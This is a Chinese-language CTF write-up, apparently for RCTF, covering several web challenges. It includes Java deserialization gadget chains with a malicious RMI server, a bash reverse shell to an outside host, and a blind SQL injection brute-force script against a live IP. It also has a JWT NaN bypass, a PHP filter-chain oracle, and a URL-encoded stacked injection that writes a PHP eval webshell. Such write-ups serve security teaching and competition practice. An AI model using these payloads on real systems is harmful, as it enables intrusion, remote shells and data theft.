AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templ);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
return proxy;
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isBadAttrValExcReadObj();
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Jackson.class, args);
System.out.println();
}
}
nosandbox
题目给了一个计算的环境。
可以通过黑盒测试发现是jexl3.3 版本
之后挖掘jexl3.3 版本的利用
expression=new ("org.apache.commons.jex"%2b"l3.scripting.Main").main(['/flag'])
可以读到HmacEncode的key
之后发现 存在路由
通过序列化
key:QAZWSXEDCFRVTG123178sdKGN
private static String key = null;
public static void setKey(String newKey) {
key = newKey;
}
public static byte[] HmacEncode(String key, byte[] data) throws Exception {
Mac md5Hmac = null;
try {
md5Hmac = Mac.getInstance("HmacMD5");
SecretKeySpec secret_key = new SecretKeySpec(key.getBytes("UTF-8"), "HmacMD5");
md5Hmac.init(secret_key);
} catch (InvalidKeyException e) {
} catch (NoSuchAlgorithmException e) {
} catch (UnsupportedEncodingException e) {
throw new Exception("error");
}
return md5Hmac.doFinal(data);
}
/**
* 系列化
* @param objectToEncode
* @return
* @throws Exception
*/
public static byte[] serialize(Object objectToEncode) throws Exception {
ObjectOutputStream oos = null;
ByteArrayOutputStream os = new ByteArrayOutputStream();
boolean success = false;
byte[] macLength = new byte[1];
byte[] hmac = null;
byte[] output = null;
byte[] combined = null;
try {
oos = new ObjectOutputStream(os);
oos.writeObject(objectToEncode);
} finally {
if (oos != null) {
try {
oos.close();
success = true;
} catch (IOException e) {
}
}
}
os.close();
//序列化完成之后进行流加密
if (success) {
output = os.toByteArray();
hmac = HmacEncode(key, output);
macLength[0] = (byte) hmac.length;
combined = new byte[1 + hmac.length + output.length];
System.arraycopy(macLength, 0, combined, 0, 1);
System.arraycopy(hmac, 0, combined, 1, hmac.length);
System.arraycopy(output, 0, combined, 1 + hmac.length, output.length);
return combined;
} else {
return null;
}
}
可以通过urldns gadgets利用测试存在 cc3.21,但是发现有黑名单拦截,如下:
之后挖掘新的利用gadgets,而且有base64 拦截。可以使用base64的tirck 进行绕过。
Hashtable<Object, Object> rmi = new Hashtable<>();
rmi.put("java.naming.factory.initial", "com.sun.jndi.rmi.registry.RegistryContextFactory");
rmi.put("java.naming.provider.url", "rmi://127.0.0.1:8989/aaa");
InstantiateFactory instantiateFactory = new InstantiateFactory(InitialContext.class,
new Class[]{Hashtable.class},
new Object[]{rmi});
FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, factoryTransformer);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet hashSet = Gadgets.toHashCode(entry);
package com.demo.tools;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import sun.misc.BASE64Encoder;
public class base64waf {
public static void main(String[] args) {
try {
readFileByBytes("1.ser", "2.txt");
System.out.println("ok..");
} catch (Exception var4) {
var4.printStackTrace();
}
}
private static void readFileByBytes(String fileName, String filePath) {
new File(fileName);
try {
StringBuilder builder = new StringBuilder();
byte[] tempbytes = new byte[1];
FileInputStream in = new FileInputStream(fileName);
while(in.read(tempbytes) != -1) {
builder.append((new BASE64Encoder()).encode(tempbytes));
}
writeFile(filePath, builder.toString());
} catch (Exception var7) {
var7.printStackTrace();
}
}
private static void writeFile(String filePath, String content) throws Exception {
FileOutputStream outputStream = new FileOutputStream(filePath);
byte[] array = content.getBytes();
outputStream.write(array);
outputStream.close();
}
}
但是高版本rmi 利用需要配合tomcat,题目的环境不存在tomcat而是使用了undertow。
之后通过rmi的反序列化打一次,二次反序列化cc3.2.1
package com.demo.exp;
import javax.xml.ws.Action;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class rmiserver {
public static void cc_server(int port) throws Exception{
Registry registry = LocateRegistry.createRegistry(port);
HashMap calc = (HashMap) new rmi_xml().getObject();
Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = AnnotationInvocationHandler.getDeclaredConstructor(new Class[]{Class.class, Map.class});
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(new Object[]{Action.class, calc });
Remote remote = (Remote) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Remote.class}, invocationHandler);
registry.bind("aaa",remote);
Thread.sleep(1000000);
}
public static void main(String[] args) throws Exception{
cc_server(8989);
}
}
加载的是
package com.demo.exp;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class rmi_xml {
public static HashMap toHashCode2(Object obj)throws Exception{
HashMap hashMap = new HashMap();
Method putVal = hashMap.getClass().getDeclaredMethod("putVal",
new Class[]{int.class, Object.class, Object.class, boolean.class, boolean.class});
putVal.setAccessible(true);
putVal.invoke(hashMap,new Object[]{0,obj,"a",false,false});
return hashMap;
}
public static Object getObject(String xml) throws Exception {
InstantiateFactory instantiateFactory = new InstantiateFactory(ClassPathXmlApplicationContext.class,
new Class[]{String.class},
new Object[]{xml});
FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, factoryTransformer);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashMap hashmap = toHashCode2(entry);
return hashmap;
}
}
之后加载xml 完成rce
bash -c "bash -i >& /dev/tcp/vip/2333 0>&1"
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>
<![CDATA[{echo,xx}|{base64,-d}|{bash,-i}]]>
</value>
</list>
</constructor-arg>
</bean>
</beans>
what_is_love
出题人忘了ban正则了,实际上预期的解法是利用mysql的字符串比较来做
example:
select 'aa' > 'bb';
select 'aa' < 'bb';
所以利用点正好在where那边,可以通过bool盲注得到key1
demo如下:
'||love_key>'RCTF{A
'||love_key>'RCTF{Z
然后写个脚本爆破就行了,最终check可以用=进行check
import requests
burp0_url = "http://1.94.13.174:10088/key1"
burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36", "Origin": "http://1.94.13.174:10088", "Content-Type": "application/x-www-form-urlencoded", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": "http://1.94.13.174:10088/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
burp0_data = {"key1": "'||love_key>'"}
flag = "RCTF{THE_FIRST_STEP_IS_TO_GET_TO_KNO"
while True:
burp0_data["key1"] = f"'||love_key='{flag[:-1]+chr(ord(flag[-1])+1)}"
r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
if "success" in r.text:
print("success: ",flag[:-1]+chr(ord(flag[-1])+1))
break
for i in range(32,127):
burp0_data["key1"] = f"'||love_key>'{flag+chr(i)}"
r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
if "wrong" in r.text:
flag = flag + chr(i-1)
print(flag)
break
至于key2,算法上没有对love time的参数进行检查,可以使用NaN使得token的检查不受随机key的影响
exp
const auth = require("./auth");
let token = auth.createToken({
username: "fsd",
love_time: NaN,
have_lovers: true,
});
console.log(token)
color
- 解决控制台检测打开f12会跳转到空白页,可以通过设置event Listener Breakpoints中的Script Fisrt Statement,在加载js的时候进行断点调试此处发现跳转的代码 可通过override content来覆盖网站的html去除检测代码,即可bypass控制台检测
- 前后端加密这里可以看到js加了ob混淆,可以直接解混淆,也可以直接调试,这里说一下直接调试的方法,也可以下xhr断点来根据栈内容来找到加密函数设置xhr断点,在点击正确色块的时候,会自动停住,跟踪调用栈可以发现配置action的函数由此跟进到加密函数很明显能看出是aes加密,并给出了密钥和向量,然后编写加密函数即可。这里明显可以看出,是$post.done()的形式,所以在done中下断点,找解密函数即可此处传入参数执行后得到明文,可确定解密函数位置可以看到是密钥和刚刚一样的aes对称加密
3.经过分析请求后可发现,该游戏每次加载时会发送action=genpos请求加载色块,发送action=choose请求来记录选择的色块,genpos请求的参数为rangeNum,而响应则是在rangeNum中进行随机,给出色块的位置,所以设置rangeNum为1,则随机固定为0,然后发送choose选择即可进入下一关,所以写一个脚本进行循环发送这两个请求,达到500level后,发送gameover请求进行结算即可。
4.达到500level后,会给一个提示以下载附件
congratulations! This is a reward for you: /secr3tcolor.zip
5.漏洞代码在此处
这里的考点是php filter chains oracle,通过测信道来盲读文件内容,具体原理可以参照:PHP filter chains: file read from error-based oracle (synacktiv.com),可利用脚本进行攻击:GitHub – synacktiv/php_filter_chains_oracle_exploit: A CLI to exploit parameters vulnerable to PHP filter chain error based oracle.
注意,这里传入的参数是上传图片的内容,需要改一下该脚本的传参部分即可,最终得到flag:
proxy
出题思路
来源于挖国外某edr
exp
堆叠注入,写文件到本目录getshell,可以直接用commit语句提交事务
需要进行url编码
http://60.204.143.208/index.php?BE=%74%27%29%3b%41%54%54%41%43%48%20%44%41%54%41%42%41%53%45%20%27%6c%6f%6c%2e%70%68%70%27%20%41%53%20%77%65%62%64%78%67%3b%43%52%45%41%54%45%20%54%41%42%4c%45%0d%0a%77%65%62%64%78%67%2e%70%77%6e%20%28%74%20%74%65%78%74%29%3b%49%4e%53%45%52%54%20%49%4e%54%4f%20%77%65%62%64%78%67%2e%70%77%6e%20%28%74%29%20%56%41%4c%55%45%53%28%27%3c%3f%70%68%70%0d%0a%65%76%61%6c%28%24%5f%47%45%54%5b%32%33%33%33%5d%29%3b%27%29%3b%43%4f%4d%4d%49%54%2d%2d